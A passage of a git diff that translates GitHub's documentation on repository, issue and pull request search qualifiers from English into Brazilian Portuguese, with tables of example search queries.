+| ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) corresponde aos repositórios que mencionam "octocat" no arquivo README do repositório. |
 
-## Search within a user's or organization's repositories
+## Pesquisar nos repositórios de um usuário ou uma organização
 
-To search in all repositories owned by a certain user or organization, you can use the  `user` or `org` qualifier.
+Para pesquisar em todos os repositórios de um determinado usuário ou organização, você pode usar os qualificadores `user` ou `org`.
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>user:<em>USERNAME</em></code> | [**user:defunkt forks:&gt;100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) matches repositories from @defunkt that have more than 100 forks.
-| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) matches repositories from GitHub.
+| Qualifier                 | Exemplo                                                                                                                                                                                        |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>user:<em>USERNAME</em></code> | [**user:defunkt forks:&gt;100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) identifica os repositórios de @defunkt que têm mais de 100 bifurcações. |
+| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) identifica os repositórios do GitHub.                                                              |
 
-## Search by repository size
+## Pesquisar por tamanho do repositório
 
-The `size` qualifier finds repositories that match a certain size (in kilobytes), using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+O qualificador `size` procura repositórios que têm um tamanho específico (em kilobytes) usando os qualificadores maior que, menor que e intervalo. Para obter mais informações, consulte "[Entender a sintaxe de pesquisa](/github/searching-for-information-on-github/understanding-the-search-syntax)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>size:<em>n</em></code> | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) matches repositories that are 1 MB exactly.
-| | [**size:&gt;=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) matches repositories that are at least 30 MB.
-| | [**size:&lt;50**](https://github.com/search?q=size%3A%3C50&type=Repositories) matches repositories that are smaller than 50 KB.
-| | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) matches repositories that are between 50 KB and 120 KB.
+| Qualifier                 | Exemplo                                                                                                                                           |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>size:<em>n</em></code> | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) identifica os repositórios que têm exatamente 1 MB.                    |
+|                           | [**size:&gt;=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) identifica os repositórios que têm no mínimo 30 MB. |
+|                           | [**size:&lt;50**](https://github.com/search?q=size%3A%3C50&type=Repositories) identifica os repositórios que têm menos de 50 KB.            |
+|                           | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) identifica os repositórios que têm entre 50 KB e 120 KB.         |
 
-## Search by number of followers
+## Pesquisar por número de seguidores
 
-You can filter repositories based on the number of users who follow the repositories, using the `followers` qualifier with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+É possível filtrar repositórios com base no número de usuários que seguem os repositórios, usando o qualificador `followers` com os qualificadores com maior que, menor que e intervalo. Para obter mais informações, consulte "[Entender a sintaxe de pesquisa](/github/searching-for-information-on-github/understanding-the-search-syntax)".
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>followers:<em>n</em></code> | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) matches repositories with 10,000 or more followers mentioning the word "node".
-| | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) matches repositories with between 1 and 10 followers, mentioning the word "styleguide linter."
+| Qualifier                 | Exemplo                                                                                                                                                                                                                  |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>followers:<em>n</em></code> | [**seguidores do nó:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) coincide com repositórios com 10.000 ou mais seguidores e que mencionam a palavra "nó".                                         |
+|                           | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) identifica os repositórios com 1 e 10 seguidores que mencionam a palavra "styleguide linter". |
 
-## Search by number of forks
+## Pesquisar por número de bifurcações
 
-The `forks` qualifier specifies the number of forks a repository should have, using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+O qualificador `forks` especifica o número de bifurcações que um repositório deve ter usando os qualificadores maior que, menor que e intervalo. Para obter mais informações, consulte "[Entender a sintaxe de pesquisa](/github/searching-for-information-on-github/understanding-the-search-syntax)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>forks:<em>n</em></code> | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) matches repositories with only five forks.
-| | [**forks:&gt;=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) matches repositories with at least 205 forks.
-| | [**forks:&lt;90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) matches repositories with fewer than 90 forks.
-| | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) matches repositories with 10 to 20 forks.
+| Qualifier                 | Exemplo                                                                                                                                            |
+| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>forks:<em>n</em></code> | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) identifica repositórios com apenas cinco bifurcações.                       |
+|                           | [**forks:&gt;=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) identifica repositórios com no mínimo 205 bifurcações. |
+|                           | [**forks:&lt;90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) identifica repositórios com menos de 90 bifurcações.         |
+|                           | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) identifica repositórios com 10 a 20 bifurcações.                  |
 
-## Search by number of stars
+## Pesquisar por número de estrelas
 
-You can search repositories based on the number of stars the repositories have, using greater than, less than, and range qualifiers. For more information, see "[Saving repositories with stars](/github/getting-started-with-github/saving-repositories-with-stars)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+Você pode pesquisar repositórios com base no número de estrelas que os repositórios têm, usando os qualificadores maior que, menor que e intervalo. Para obter mais informações, consulte "[Salvar repositórios com estrelas](/github/getting-started-with-github/saving-repositories-with-stars)" e "[Entender a sintaxe de pesquisa](/github/searching-for-information-on-github/understanding-the-search-syntax)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>stars:<em>n</em></code> | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) matches repositories with exactly 500 stars.
-| | [**stars:10..20**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) matches repositories 10 to 20 stars, that are smaller than 1000 KB.
-| | [**stars:&gt;=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) matches repositories with the at least 500 stars, including forked ones, that are written in PHP.
+| Qualifier                 | Exemplo                                                                                                                                                                                                                                                       |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>stars:<em>n</em></code> | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) identifica repositórios com exatamente 500 estrelas.                                                                                                                |
+|                           | [**stars:10..20**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) identifica repositórios com 10 a 20 estrelas com menos de 1.000 KB.                                                                                           |
+|                           | [**stars:&gt;=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) identifica os repositórios que tem no mínimo 500 estrelas, incluindo os bifurcados e que foram escritos em PHP. |
 
-## Search by when a repository was created or last updated
+## Pesquisar por data da criação ou da última atualização do repositório
 
-You can filter repositories based on time of creation or time of last update. For repository creation, you can use the `created` qualifier; to find out when a repository was last updated, you'll want to use the `pushed` qualifier. The `pushed` qualifier will return a list of repositories, sorted by the most recent commit made on any branch in the repository.
+Você pode filtrar repositórios com base na data de criação ou da última atualização. Para a criação do repositório, você pode usar o qualificador `created`. Para descobrir quando um repositório foi atualizado pela última vez, você precisará usar o qualificador `pushed`. O qualificador `pushed` retorna uma lista de repositórios, classificados pelo commit mais recente feito em qualquer branch no repositório.
 
-Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+Os dois usam uma data como parâmetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>created:<em>YYYY-MM-DD</em></code> | [**webos created:&lt;2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) matches repositories with the word "webos" that were created before 2011.
-| <code>pushed:<em>YYYY-MM-DD</em></code> | [**css pushed:&gt;2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) matches repositories with the word "css" that were pushed to after January 2013.
-| | [**case pushed:&gt;=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) matches repositories with the word "case" that were pushed to on or after March 6th, 2013, and that are forks.
+| Qualifier                 | Exemplo                                                                                                                                                                                                                                                                        |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>created:<em>YYYY-MM-DD</em></code> | [**webos created:&lt;2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) identifica repositórios com a palavra "webos" que foram criados antes de 2011.                                                                           |
+| <code>pushed:<em>YYYY-MM-DD</em></code> | [**css pushed:&gt;2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) identifica repositórios com a palavra "css" cujo push ocorreu antes de janeiro de 2013.                                                         |
+|                           | [**case pushed:&gt;=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) identifica repositórios com a palavra "case" cujo push foi feito em 6 de março de 2013 ou depois dessa data e que são bifurcações. |
 
-## Search by language
+## Pesquisar por linguagem
 
-You can search repositories based on the language of the code in the repositories.
+Você pode pesquisar repositórios com base na linguagem do código nos repositórios.
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>language:<em>LANGUAGE</em></code> | [**rails language:javascript**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) matches repositories with the word "rails" that are written in JavaScript.
+| Qualifier                 | Exemplo                                                                                                                                                                                      |
+| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>language:<em>LANGUAGE</em></code> | [**rails language:javascript**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) identificar repositórios com a palavra"rails" e que foram escritos em JavaScript. |
 
-## Search by topic
+## Pesquisar por tópico
 
-You can find all of the repositories that are classified with a particular topic. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)."
+Você pode encontrar todos os repositórios classificados com um determinado tópico. Para obter mais informações, consulte "[Classificar seu repositório com tópicos](/github/administering-a-repository/classifying-your-repository-with-topics)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>topic:<em>TOPIC</em></code> | [**topic:jekyll**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) matches repositories that have been classified with the topic "jekyll."
+| Qualifier                 | Exemplo                                                                                                                                                                                     |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>topic:<em>TOPIC</em></code> | [**topic:jekyll**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) identifica os repositórios que foram classificados com o tópico "jekyll". |
 
-## Search by number of topics
+## Pesquisar por número de tópicos
 
-You can search repositories by the number of topics that have been applied to the repositories, using the `topics` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+Você pode pesquisar repositórios pelo número de tópicos que foram aplicados aos repositórios, usando o qualificador `topics` junto com os qualificadores maior que, menor que e intervalo. Para obter mais informações, consulte "[Classificar seu repositório com tópicos](/github/administering-a-repository/classifying-your-repository-with-topics)" e "[Entender a sintaxe de pesquisa](/github/searching-for-information-on-github/understanding-the-search-syntax)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>topics:<em>n</em></code> | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) matches repositories that have five topics.
-| | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) matches repositories that have more than three topics.
+| Qualifier                  | Exemplo                                                                                                                                                              |
+| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>topics:<em>n</em></code> | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) identifica os repositórios com cinco tópicos.              |
+|                            | [**tópicos:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) correspondem a repositórios com mais de três tópicos. |
 
 {% ifversion fpt or ghes or ghec %}
 
-## Search by license
+## Pesquisar por licença
 
-You can search repositories by the type of license in the repositories. You must use a license keyword to filter repositories by a particular license or license family. For more information, see "[Licensing a repository](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)."
+Você pode pesquisar repositórios pelo tipo de licença nos repositórios. É preciso usar uma palavra-chave de licença para filtrar repositórios por uma determinada licença ou família de licenças. Para obter mais informações, consulte "[Licenciar um repositório](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>license:<em>LICENSE_KEYWORD</em></code> | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) matches repositories that are licensed under Apache License 2.0.
+| Qualifier                  | Exemplo                                                                                                                                                                                                |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>license:<em>LICENSE_KEYWORD</em></code> | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) identifica os repositórios que são licenciados com a Licença Apache 2.0. |
 
 {% endif %}
 
-## Search by repository visibility
+## Pesquisar por visibilidade do repositório
 
-You can filter your search based on the visibility of the repositories. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+Você pode filtrar sua pesquisa com base na visibilidade dos repositórios. Para obter mais informações, consulte "[Sobre repositórios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)".
 
-| Qualifier  | Example
-| ------------- | ------------- |{% ifversion fpt or ghes or ghec %}
-| `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %}{% ifversion ghes or ghec or ghae %}
-| `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test".{% endif %}
-| `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) matches private repositories that you can access and contain the word "pages."
+| Qualifier  | Example | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %}{% ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test".{% endif %} | `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) matches private repositories that you can access and contain the word "pages."
 
 {% ifversion fpt or ghec %}
 
-## Search based on whether a repository is a mirror
+## Pesquisar com base no fato de o repositório ser um espelho
 
-You can search repositories based on whether the repositories are mirrors and hosted elsewhere. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."
+Você pode pesquisar repositórios com base no fato de os repositórios serem espelhos e hospedados em outro lugar. Para obter mais informações, consulte "[Encontrar maneiras de contribuir para o código aberto em {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."
 
-| Qualifier  | Example
-| ------------- | -------------
-| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) matches repositories that are mirrors and contain the word "GNOME."
-|  `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) matches repositories that are not mirrors and contain the word "GNOME."
+| Qualifier      | Exemplo                                                                                                                                                                       |
+| -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `mirror:true`  | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) identifica os repositórios que são espelhos e contêm a palavra "GNOME".         |
+| `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) corresponde aos repositórios que não são espelhos e contêm a palavra "GNOME". |
 
 {% endif %}
 
-## Search based on whether a repository is archived
+## Pesquisar com base no fato de o repositório estar arquivado
 
-You can search repositories based on whether or not the repositories are archived. For more information, see "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)."
+Você pode pesquisar repositórios com base no fato de os repositórios estarem ou não arquivados. Para obter mais informações, consulte "[Arquivando repositórios](/repositories/archiving-a-github-repository/archiving-repositories)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) matches repositories that are archived and contain the word "GNOME."
-|  `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) matches repositories that are not archived and contain the word "GNOME."
+| Qualifier        | Exemplo                                                                                                                                                                               |
+| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `archived:true`  | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) identifica os repositórios que estão arquivados e contêm a palavra "GNOME".         |
+| `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) corresponde aos repositórios que não estão arquivados e contêm a palavra "GNOME". |
 
 {% ifversion fpt or ghec %}
 
-## Search based on number of issues with `good first issue` or `help wanted` labels
+## Pesquisar com base no número de problemas com as etiquetas `good first issue` (um bom primeiro problema) ou `help wanted` (procura-se ajuda)
 
-You can search for repositories that have a minimum number of issues labeled `help-wanted` or `good-first-issue` with the qualifiers `help-wanted-issues:>n` and `good-first-issues:>n`. For more information, see "[Encouraging helpful contributions to your project with labels](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)."
+Você pode pesquisar repositórios que têm um número mínimo de problemas com as etiquetas `help-wanted` (procura-se ajuda) ou `good-first-issue` (um bom primeiro problema) com os qualificadores `help-wanted-issues:>n` e `good-first-issues:>n`. Para obter mais informações, consulte "[Incentivar contribuições úteis para o seu projeto com etiquetas](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| `good-first-issues:>n` | [**good-first-issues:&gt;2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) matches repositories with more than two issues labeled `good-first-issue` and that contain the word "javascript."
-| `help-wanted-issues:>n`|[**help-wanted-issues:&gt;4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) matches repositories with more than four issues labeled `help-wanted` and that contain the word "React."
+| Qualifier                  | Exemplo                                                                                                                                                                                                                                                           |
+| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `good-first-issues:>n`  | [**good-first-issues:&gt;2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) identifica os repositórios com mais de dois problemas com a etiqueta `good-first-issue` e que contêm a palavra "javascript". |
+| `help-wanted-issues:>n` | [**help-wanted-issues:&gt;4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) identifica os repositórios com mais de quatro problemas com a etiqueta `help-wanted` e que contêm a palavra "React".                 |
 
-## Search based on ability to sponsor
+## Pesquisar com base na capacidade de patrocinador
 
-You can search for repositories whose owners can be sponsored on {% data variables.product.prodname_sponsors %} with the `is:sponsorable` qualifier. For more information, see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)."
+Você pode pesquisar repositórios cujos proprietários podem ser patrocinados em {% data variables.product.prodname_sponsors %} com o qualificador `é:sponsorable`. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)."
 
-You can search for repositories that have a funding file using the `has:funding-file` qualifier. For more information, see "[About FUNDING files](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)."
+Você pode pesquisar repositórios que têm um arquivo de financiamento que usa o qualificador `has:funding-file`. Para obter mais informações, consulte[Sobre os arquivos de FINANCIAMENTO](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) matches repositories whose owners have a {% data variables.product.prodname_sponsors %} profile.
-| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) matches repositories that have a FUNDING.yml file.
+| Qualifier          | Exemplo                                                                                                                                                                                                |
+| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `is:sponsorable`   | [**é:patrocinável**](https://github.com/search?q=is%3Asponsorable&type=Repositories) corresponde aos repositórios cujos proprietários têm um perfil de {% data variables.product.prodname_sponsors %}. |
+| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) corresponde aos repositórios que têm um arquivo FUNDING.yml.                                                  |
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
-- "[Searching in forks](/search-github/searching-on-github/searching-in-forks)"
+- "[Ordenar os resultados da pesquisa](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
+- "[Pesquisar em bifurcações](/search-github/searching-on-github/searching-in-forks)"
diff --git a/translations/pt-BR/content/search-github/searching-on-github/searching-issues-and-pull-requests.md b/translations/pt-BR/content/search-github/searching-on-github/searching-issues-and-pull-requests.md
index d41e60cedd..34166ea865 100644
--- a/translations/pt-BR/content/search-github/searching-on-github/searching-issues-and-pull-requests.md
+++ b/translations/pt-BR/content/search-github/searching-on-github/searching-issues-and-pull-requests.md
@@ -1,6 +1,6 @@
 ---
-title: Searching issues and pull requests
-intro: 'You can search for issues and pull requests on {% data variables.product.product_name %} and narrow the results using these search qualifiers in any combination.'
+title: Pesquisar problemas e pull requests
+intro: 'Você pode pesquisar problemas e pull requests no {% data variables.product.product_name %} e limitar os resultados usando qualquer combinação destes qualificadores de pesquisa.'
 redirect_from:
   - /articles/searching-issues
   - /articles/searching-issues-and-pull-requests
@@ -13,338 +13,332 @@ versions:
   ghec: '*'
 topics:
   - GitHub search
-shortTitle: Search issues & PRs
+shortTitle: Pesquisar problemas & PRs
 ---
-You can search for issues and pull requests globally across all of {% data variables.product.product_name %}, or search for issues and pull requests within a particular organization. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
+
+Você pode pesquisar problemas e pull requests globalmente no {% data variables.product.product_name %} ou pesquisar em uma organização específica. Para obter mais informações, consulte "[Sobre pesquisar no {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)".
 
 {% tip %}
 
-**Tips:**{% ifversion ghes or ghae %}
-  - This article contains example searches on the {% data variables.product.prodname_dotcom %}.com website, but you can use the same search filters on {% data variables.product.product_location %}.{% endif %}
-  - For a list of search syntaxes that you can add to any search qualifier to further improve your results, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)".
-  - Use quotations around multi-word search terms. For example, if you want to search for issues with the label "In progress," you'd search for `label:"in progress"`. Search is not case sensitive.
+**Dicas:**{% ifversion ghes or ghae %}
+  - Este artigo tem exemplos de pesquisa no site {% data variables.product.prodname_dotcom %}.com, mas você pode usar os mesmos filtros de pesquisa na {% data variables.product.product_location %}.{% endif %}
+  - Para obter uma lista de sintaxes de pesquisa que podem ser adicionadas a qualquer qualificador de pesquisa para melhorar ainda mais os resultados, consulte "[Entender a sintaxe de pesquisa](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)".
+  - Use aspas em termos de pesquisa com várias palavras. Por exemplo, se quiser pesquisar problemas com a etiqueta "In progress," pesquise `label:"in progress"`. A pesquisa não faz distinção entre maiúsculas e minúsculas.
   - {% data reusables.search.search_issues_and_pull_requests_shortcut %}
 
   {% endtip %}
 
-## Search only issues or pull requests
+## Pesquisar somente problemas e pull requests
 
-By default, {% data variables.product.product_name %} search will return both issues and pull requests. However, you can restrict search results to just issues or pull requests using the `type` or `is` qualifier.
+Por padrão, a pesquisa do {% data variables.product.product_name %} retorna problemas e pull requests. No entanto, você pode restringir os resultados da pesquisa a problemas ou pull requests usando os qualificadores `type` ou `is`.
 
-| Qualifier  | Example
-| ------------- | -------------
-| `type:pr` | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) matches pull requests with the word "cat."
-| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) matches issues that contain the word "github," and have a comment by @defunkt.
-| `is:pr` | [**event is:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) matches pull requests with the word "event."
-| `is:issue` | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) matches closed issues with the label "bug."
+| Qualifier    | Exemplo                                                                                                                                                                                                       |
+| ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `type:pr`    | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) identifica as pull requests com a palavra "cat".                                                                                     |
+| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) identifica os problemas que contêm a palavra "github" e um comentário de @defunkt. |
+| `is:pr`      | [**event is:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) identifica as pull requests com a palavra "event".                                                                          |
+| `is:issue`   | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) identifica os problemas fechados com a etiqueta "bug".                                |
 
-## Search by the title, body, or comments
+## Pesquisar por título, texto ou comentários
 
-With the `in` qualifier you can restrict your search to the title, body, comments, or any combination of these. When you omit this qualifier, the title, body, and comments are all searched.
+Com o qualificador `in`, você pode restringir a pesquisa ao título, texto, comentário ou qualquer combinação desses itens. Quando você omite esse qualificador, o título, o texto e os comentários são pesquisados.
 
-| Qualifier     | Example
-| ------------- | -------------
-| `in:title` | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues) matches issues with "warning" in their title.
-| `in:body` | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) matches issues with "error" in their title or body.
-| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) matches issues mentioning "shipit" in their comments.
+| Qualifier     | Exemplo                                                                                                                                                         |
+| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `in:title`    | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues) identifica os problemas com a palavra "warning" no título.                   |
+| `in:body`     | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) identifica os problemas com a palavra "error" no título ou no texto. |
+| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) identifica os problemas que mencionam "shipit" nos comentários.           |
 
-## Search within a user's or organization's repositories
+## Pesquisar nos repositórios de um usuário ou uma organização
 
-To search issues and pull requests in all repositories owned by a certain user or organization, you can use the  `user` or `org` qualifier. To search issues and pull requests in a specific repository, you can use the `repo` qualifier.
+Para pesquisar problemas e pull requests em todos os repositórios de um usuário ou organização específicos, você pode usar os qualificadores `user` ou `org`. Para pesquisar problemas e pull requests em um repositório específico, você pode usar o qualificador `repo`.
 
